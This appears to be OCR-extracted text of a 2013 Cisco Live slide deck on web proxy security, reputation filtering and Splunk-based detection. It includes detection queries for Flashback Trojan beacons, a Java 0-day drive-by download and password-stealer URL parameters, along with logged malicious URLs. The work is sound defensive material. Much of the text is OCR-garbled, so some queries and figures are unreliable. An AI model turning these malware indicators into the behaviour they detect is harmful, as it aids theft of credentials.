Detection and Response
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/Prevent

network IPS
firewall

AntiVirus

Bl

host IPS

.

web

Spam filters

/Collect

NetFlow

event logs

web proxy
logs

l'u/
\
I

Auth logs

J

Securit

/Detect \

UEWEIE

\ anomaly anomaly /
/Analyse \

NetFlow event
analysis HEWAIS

malware
analysis

"

Strategy

CoIPe/ct and Analyse

/I\/Iitigate \

IP blackhole

DNS RPZ

J

/Foundation _
\

N

~
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HTTP Is the Platform
R A AR ' ';: A N
VOVRRNRVRGNRETRORRUIEOay ¢

Oct 1 Nov 1 Dec 1 |
=pd 2013

V?vW§¥W¢¢§NV¢U%Qf¢'wawﬂ

-100 M

-200 M

Feb1 Mar 1 Apr 1 May 1 Jun 1 Jul 1 Aug 1
Average | Max | PCT95

Select All X Clear All 4 Update

TCP Application Port Into Network Out of Network Total (In + Out) 0% Total W
8 B www-http 80 116.60 MBps 39.32 MBps 155.92 MBps 34.21%
8 _ https 443 28.62 MBps 23.35 MBps 51.97 MBps 11.40%

M AN ML o AT 4N /MY

d (B YR IN = 4nnr

= Yearly average of Cisco global traffic
= HTTP 1s 34% of ALL traffic (SSL + 11%)

Cisco [ll/f,/
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Filterin

loyment

Web Securité{) 0

Cisco’s Internal WSA D

WSA
Cluster

CCPv2
Redirect

S /
—
 —

DMZ
Gateways

-—
_r‘d |

| Fa
PNz

Corporate Network

Senderbase

al]n
cI1Sco

SECURITY THREAT DETECTED AND BLOCKED

Based on Cisco security threat information, access to the web site http://adheadies.com/ has been blocked by the Web Security
Appliance (W3A) to prevent an attack on your browser. The Cisco Security Intelligence Operations (CS10) Web Reputation Score
for this site indicates that it is associated with malwarefspyware, and poses a security threat to your computer or the corporate
network.

BRKSEC-2010 © 2013 Cisco and/or its affiliates. All rights reserved.

Cisco Public

= Position

— DMZ backbone
gateways

— At least 2 per gateway

= Coverage
— Desktop
nternal labs
Data centres
DMZ labs
Remote access

Cisco(l'l/f/
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Application Layer Protection in the Network

GET /HTTP/1.1 ¢ \Vhat the client requests from the web

Host: ihaveabadreputation.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0)

Gecko/20100101 Firefox/11.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate

Connection: keep-alive

HTTP/1.1 403 Forbidden === what the client gets back from the proxy

Mime-Version: 1.0

Date: Thu, 12 Apr 2012 18:38:03 GMT
Content-Type: text/html

Connection: keep-alive

Content-Length: 267

BRKSEC-2010

© 2013 Cisco and/or its affiliates. All rights reserved.

©

http://wwwintranet.cisco.com/blocked-page.shtml

GET /blocked-page.shtml H1Tp/1.1

Host: wwwintranet.cisco.com

User-Agent: Mozilla/5.0 SM_acinto h; Intel Mac OS X 10.6;
rv:11.o§Gecko 20100101 Firefox/11.0

AcceRt: o —
’gkgét_/ot8ml,appI|cat|on/xhtml+xmI,appllcatlon/xml;q=0.9,*/
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

HTTP/1.1 200 OK

Cisco [ﬂ?lﬁ/

Cisco Public
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. sopaystats  \WSA

24.0M - O o
’ @ 388.1% Blocked by Web Reputation

21.0M -

1800 ® 11.9% Detected by Anti-Malware

15.0M - ‘
el |
9.0M -
6.0M - | Adware F 18.5M
3.0M - ! Trojan Downloader | 1.1M
0 | Other Malware || 523.0k/108
02-Sep 16-Sep 30-Sep 14-Oct 28-Oct 11-Nov Encrypted File | 334.5k
90 Day StatS Trojan Horse | 258.2k
O Phishing URL | 18.5k
Monitored R 13-
Dialer | 3,734

. BIOCked Virus | 499
Commercial System Mo... | 327

500.0M 0 10.0M 20.0M 30.0M
450.0M M ) Transactions
400.0M -
350.0M
300.0M -
250.0M -
=il 90 Day Stats
150.0M - K -
100.0M ® 3.2% Suspect Transactions
o 96.8% Clean Transactions [ : /
0 -t ' - : . W
02-Sep 16-Sep 30-Sep 14-Oct 28-Oct 11-Nov C I SCO l ’ .
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What I1s “Reputation” anyway?

A statistical risk assessment based on context and past
behaviour

A combination of many factors of varying significance into one
correlated metric

AKA Credit Score

What it's not: black/white lists, content scanning, categorisation

Cisco((‘/&l
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Web Based Reputation System (WBRS)

Web Reputation Settings

E Enable Web Reputation Filtering

Web Reputation Score

BLOCK SCAN ALLOW
-10.0 to -&6.0 -5.9 to 5.9 5.0 to 10.0

-10 -8 -6 -4 - 0 2 4 & a8 +10

Block Scan Allow
The reguested LURL is immediately blocked. The IronPort DWS™ engine scans the client request | The regquested LRL is allowed. Mo scanning is
and the server response. performed.
Mote: Sites with no score will be scanned.

Cisco ("/f:/
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Decision Flow

Reputation
High?

unknown/
unscannable

WCCP intercepts
Client HTTP traffic at Send to
attempts to Internet layerand | _ / Reputation s s malware . Web oblects not
access web forwards to Ironport Check DVS engine
WSAs for inspection
and proxy

Web objects
malicious

Reputation
Low?

Cisco [ﬂ/&/
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Choose Your Own Adventure
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What do | look for?

Invest in human intelligence, network automation, and
situational awareness.

Let the network block the common attacks, let the humans
find the hard to spot attacks and research the latest threats.

Cisco[l'l/a/
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Global Logging Architecture

Primary Secondary
Forwarder Forwarder

IPS, WSA, syslog, and
other regional sources

Indexer Indexer Indexer Indexer Indexer Indexer
1 2 3 4 5 6

__Virtual IP.

;xu_:-::;’.
Primary Secondary Primary Secondary i onsh

Search Search
Forwarder Forwarder
st oen], vd hesa Sene

Indexer Indexer Indexer Indexer Indexer

CISCO oo e e -
Cisco[ﬂ/f:
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Some event sources send their data to a L O g EVE RYT H I N G

global network of collection servers

t'_.-

WIreless Securltv Sensor

WSA Splunk Server

Geographically Dispersed

Collectors \

A

/m ;

Shell Logs

soLaris
Syslog

o

Syslog

Some event types are pulled Gustom Log
. . Sources
from their sources directly
to a centralized server .

IDS

Cisco[l'l/fp/
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Slice of Log Pie

11Tb of indexed data in 30 Days

W syslog
“WSA

“ ACNS

“ EMAIL AV
“ VPN
“IDS

“ _splunk_internal
@ summary
- DHCP
“AAA

“ CSA

~ other

sonnic ot liyed
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WSA W3C Access Logging
Logs every object over HTTP!

Summary Search Views ~ Searches & Reports ~ ® Help | About

Search | Actions ~

index=wsa TCP_DENIED Last 60 minutes v u

el
\dd to dashboard  |;-] Save search || Build report
Web URL
1 bar = 1 minute

Blocked via reputation:
malicious content

) 87,869 matching events

v Timeline: €9 zoomin @ zoomout Scale: g inear — log

39 fields | Bick fields 3860 minutes (from 12:15:00 PM to 1:15:17 PM on Monday, Jupne 4 20

2320 255.255.255.255 80 - -7.2fhttp://cdnl.telemefryverification.net/crossdomain.xml - 437
542 449 "Mozilla/5.9 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, l1ike Gecko) (hrome/19 8 1084 o2 Satar /o0 o a2

"http://myonlinearcade.com/tremor/player.swf" "adware"
dentified malicious behavior on domain or URI. Domain is associated with risKy or offensive content. - - - -
nost=171.69.75.244 ~ | sgouicalyne=piccn wea 1 LS QUICE =W ' a3 v | ¢ ip=171.69.75.244 ~ | c_port=2320 ~ | cs_bytes=542
v | cs_method=GET ~ J cs_referer=http://myonlinearcade.com/tremor/ v | cs url=http://cdn1.telemetryverification.net/crossdomain.xmi

‘O ! re iNiia AN AT I I aATalIa T TN E O . T E S TATAIT* I AT AT VNI AL T. .S S O . G IIf T - = ® Alaals *HNa [} 34 /1 - Nato atlal :18 v

-

S 1D x v

J

»
2

e

e_-' = o=y B W TV T 2 YT ot TSRS

s_pfrt=80 ~ | sc_bytes=419 ~ | sc_http_status=403 ~ | sc_result code=TCP_DENIED ~ | splunk_server=sjc-splunk-04 ~ | timeen
| Ymestamp=1339007572.791 ~ | timestartpos=0 ~ | x elapsed time=437 ~ | X WIS score=-7.2 v

| T T .

When

punct (2100}

o
)
(4]
|
-—
S

1:14:30.326 PMhttp://d.adsbyisocket. com/aj.s .php?zoneid=284&block=1&cb=677753187518&chars% ch.com/2812/86/82/android-ga-testing-¢

=yt
- @ 662 419 "Mozilla/4.8 (compatible; MSIE 8.8; Windows NT 6.1; WOW64; Triden R .I: UR T CLR 2.08.58727; .NET CLR 3.5.30729; .
"http://techcrunch.com/2812/86/82/android-qa-testing-quality-assurance/" "adwa ererrer verified as serving malware. Identifie
host=10.89.6.113 ~ | sourcetype=cisco_wsa_w3c ~ | source=w3c_rcdn9 _cd1_wsal ~



Global Logging View and Client Protection

index=wsa | regex cs useragent=""[012345ABCDEFGIJMNOQRTUVYZcdghijkltwxyz]{16} Last 60 minutes - a

[91234SBCDEFGMNDQR51wxyz]{4}[912345ABCDEFGIJLMNOQRSTUVYZCdghl]klthyz]{28}$“

Your search is paused. ® © © screatealert @ Addtodashboard [ Savesearch ] Build repor

» Timeline:
21 23 events in the last 4 hours

E HH | Options... Results perpage 50 4

a 4/12/12 1334258583.480 - 60983 255.255.255.255 80 -_=-hiipn.//xloeydtsxloe.org/scheck/ - 1 130 1717

7:23:03.480 PM"NjQ3NTUIMEUtOURGMy@1QTYyLUI@OMjktMTdBMjEXNDQXxQkIF" -(4e3 TCP DENIED
cs_bytes=130 ~ | cs_url=hitp://xloeydisxloe.org/scheck/ » | cs_useragent UtOURGMy01QTYyLUIOMktMTdBMJEXNDQxQkJF ~
| s_port=80 ~ | sc_bytes=1717 « | sc_hitp_status=403 ~ | sc_result_ code-TCF’ DENIED +~ | x_elapsed_time=1 « | cs_method=GET

g 41212 1334258581.526 - 60966 255.255.255.255 80 - - http://178.209.52.48/scheck/ - @ 127 1714
7:23:01.526 PM"NjQ3NTUIMEUtOURGMy@1QTYyLUI@MjktMTdBMEXNDQXxQKIE" - 403 TCP_DENIED - - - - - - - GET
cs_bytes=127 « | cs_url=http://178.209.52.48/scheck/ - jQSNTU1MEUtOURGMymQTYyLUIDMjktMTdBMjExNDQkaJF E
| s_port=80 ~ | sc_bytes=1714 « | sc_hiip_status=403 ~ | sc_result_code=TCP_DENIED ~ | x_elapsed_time=0 ~ | cs_method=GET «

g 41212 1334258581.480 - 60965 255.255.255.255 80 - - http://178.209.52.48/scheck/ - @ 127 1714
7:23:01.480 PM"NjQ3NTU1IMEUtOURGMy@1QTYyLUIOMjktMTdBMJEXNDQxQkIF" - 403 TCP_DENIED - - - - - - - GET

cs_bytes=127 « | cs_url=http://178.209.52.48/scheck/ ~ | cs_useragent=NjQ3INTU1MEUIOURGMy01QTYyLUIOMjktiMTdBMJEXNDQxQkJF
| s_port=80 ~ | sc_bytes=1714 « | sc_hiip_status=403 ~ | sc_result_code=TCP_DENIED ~ | x_elapsed_time=0 ~ | cs_method=GET =~

Cisco [l fo
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Drive-by Download Protection In the
Network

index=wsa cs_url="*.php?*" cs_mime_type="application/x-dosexec" cs_useragent="*Java*" Last 24 hours v
& 1 matching event 7 Create alert @ Add to dashboard |- Save search ;| Build report
» Timeline:

1 event in the last 24 hours (from 7:00:00 PM April 11 to 7:18:36 PM April 12, 2012)

E% | Options... Results perpage 50 4
5 41212 1334250100.231 - 52651 77.79.13.89 8@ - ns http://awofutie433.from-la.net/w.php?f=9712f&e=0
5:01:40.231 PM- 458 179 414 "Java/1.6.8_26" application/x-dosexec 4@3 TCP_DENIED - - - "Troj/Dapato-E" "w.php" - @ GET

cs_bytes=179 « | cs_mime_type=application/x-dosexec ~ | cs_uri=http://awofutie433.from-la.net/w.php?=9712i&e=0 ~

| cs_useragent=Java/1.6.0 26 ~ | date_hour=17 ~ | date_mday=12 ~ | date_minute=1 ~ | date_month=aprili ~ | date_second=40 -~
| date_wday=thursday ~ | date_year=2012 ~ | date_zone=0 ~ | s_pori=80 ~ | sc_bytes=414 « | sc_hiip_status=403 -~

| sc_result_ code=TCP_DENIED ~ | timeendpos=14 ~ | timestaripos=0 ~ | x_elapsed_time=458 ~ | x_wbrs_score=ns

| x_webroot_spyid=0 ~ | cs_method=GET -~

Cisco [ﬂ/&/
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Search-Fu

 Tie indices together with sub-searches or scripts that run searches — you
can do your own correlation

* Leverage summary indices for statistical reporting (make your manager
happy)

« Keep timestamps standardised and synchronised

* If you can build a good guery, you can find malware, infected systems, and
dedicated attackers

* Look for unigue strings, match patterns, look at temporal attributes
(timeline), unusual behaviour

* Log and index everything!

Cisco[l'l/a/

BRKSEC-2010 © 2013 Cisco and/or its affiliates. All rights reserved. Cisco Public



Run the Playbook

10044 MALWARE_WSA WBRS

Objective:
Report the top 10 hosts continuously generating HTTP requests to sites with web reputation scores of
-8.0 or less.

Working:
Index="wsa" AND x_wbrs_score <=-8.0 AND TCP_DENIED AND NOT (tag=acns) AND
earliest=-15m | stats count by c_ip | sort -count limit=10 | rename c_ip as
"Source IP", count as "# of TCP_DENIED to WBRS < -8.0" | ' makeAcase

Action:
Case generated into remediation queue: CSIRT-Analysts

Analysis: The generated report is high fidelity - about 90% of the results have been found to be infected
with either malware or adware and need to be submitted to the malware remediation process. If a
datacentre host is found, those hosts will be escalated to the on-duty investigator.

Reference: wiki/10044, bugzilla:3876, GIR: n/a

Cisco(l'l/f/
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Fun with a search engine

Java 1.7 0-Day Detection (CVE-2013-0422)
* index=wsa cs_useragent="*Java/1.7.0*" AND cs_mime_type="application/x-dosexec"

AND cs_url="*.php?*" earliest=-14h| regex cs_url="\.php\?[a-zA-Z]{1,2}=" | stats count
by host, time, cs_useragent, x_wbrs_score, sc_result _code, cs_url

Flashback Trojan (variant 1)
sindex="wsa" NOT cs_referer="*" AND (cs_url="*/scheck/*" OR cs_url="*/owncheck/*") |

regex cs_useragent="id:([A-Za-z0-9]){8}\-([A-Za-20-9]){4}\-([A-Za-20-9]){4}\-([A-Za-z0-
9]){4}\-([A-Za-z0-9]){12}"00

Funny User-agents
* index="wsa" earliest=-24h NOT Citrix | regex

cs_useragent="\.(exe|php|pm|pl|jar|sh)S" | stats count by cs_useragent | sort by

cs_useragent Cisco ( "/a/
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Worm Outbreak? : :
 Index=ids description="SCANNING*" AND FU N W|th ad SeadlC h en g Ine

target port="3389" earliest=-24h

Where are the iPhones?

* index=" " hn=*iphone* OR
mac=f0:cb:al* OR mac=24:ab:81* |
dedup mac | table time,hn,ip

Metrics and Threat Reporting?

* index="summary-ids-sighits" | top
signature by subSigid limit=0 | table
count,signature,subSigid

Password Stealer [Scanph]?

eindex=wsa (cs_url="*.php?hwid=*" AND (cs_url="*&pc=*" OR cs_url="*&localip=*" OR
cs_url="*&steal=*" OR cs_url="*&winver=*")) | dedup c_ip | lookup dnslookup clientip as
c_ip output clienthost as hostname | convert timeformat=%Y%m%d%T mktime(created) as
_time | table time c_ip hostname s_ip cs_url

Viral Video?
* index="wsa" cs_method=GET cs_url="http://www.youtube.com/watch?v*" | stats count
by cs_url | sort -count | fields cs_url,count

ciscolive!
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 Regularly update your operating system and applications, especially Java, Adobe,
and Office products

« Use a modern browser and consider plug-ins that turn off scripts and other common
ways to attack your browser

« Use different passwords for different areas of your life: one for email, one for
financial accounts, one for social media, and so on

« Watch your credit card and bank statements and check your own credit regularly

 Use reqgularly updated anti-virus

« Use a software or hardware firewall

« Beware of short, odd tweets, Facebook updates and emails, even from friends,
that provide a link.

« Use encryption and keep loads of backups of everything, as often and as much as
you can stand

Source: Steve Santorelli. Cymru Quarterly. March 2012.

Cisco(l'l/f/
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) Golden Rules (for incident response)

 Develop accurate and updated systems of record to identify address, host,
and application owners and teams

 Deploy log collection where ever possible to maximize audit trails and to
enable investigation

« Implement event, event log, or log file collection, indexing, searching and
reporting mechanisms to operate on “big data”

 Develop and maintain a flexible patching strategy (and policy) including
timely notification, proper host contacts, and execution plans.

* Record anything and everything possible on the network as long as you can
store it and search it

 Enable development, research, open debate, and invest in expert intelligence

Cisco(l'l/f/
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Final Thoughts:

BRKSEC-2010

The browser isn’t generally the target, it's the whole browsing
ecosystem that’s at risk.

Exploit packs are filled with effective exploit plugins and often contain
0-days. Antivirus cleans up the older attacks, but there's a huge
window for exploitation.

Anything more than basic security education will not help
- curiosity will drive people to the exploits
- no impetus to patch and inconvenience factor

Invest in research/thinking, let automation at the network and
application (patching/AV) layers secure the organisation

- enables business flexibility with IT

- doesn't rely on routine human action

- enables deep investigation

© 2013 Cisco and/or its affiliates. All rights reserved. Cisco Public
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Complete Your Online Sessmn
Evaluation R

Give us your feedback and receive
a Cisco Live 2013 Polo Shirt!

Complete your Overall Event Survey and 5
Session Evaluations.

= Directly from your mobile device on the
Cisco Live Mobile App

= By visiting the Cisco Live Mobile Site
www.ciscoliveaustralia.com/mobile

= Visit any Cisco Live Internet Station located

<

» Don’t forget to activate your
throughOUt the venue [lw’/ Cisco Live 365 account for
Polo Shirts can be collected in the World of access to all session material,

Solutions on Friday 8 March 12:00pm-2:00pm  communities, and on-demand and live activities throughout
the year. Log into your Cisco Live portal and click the

"Enter Cisco Live 365" button.
Cisco (l I/L”, ’

www.ciscoliveaustralia.com/portal/login.ww
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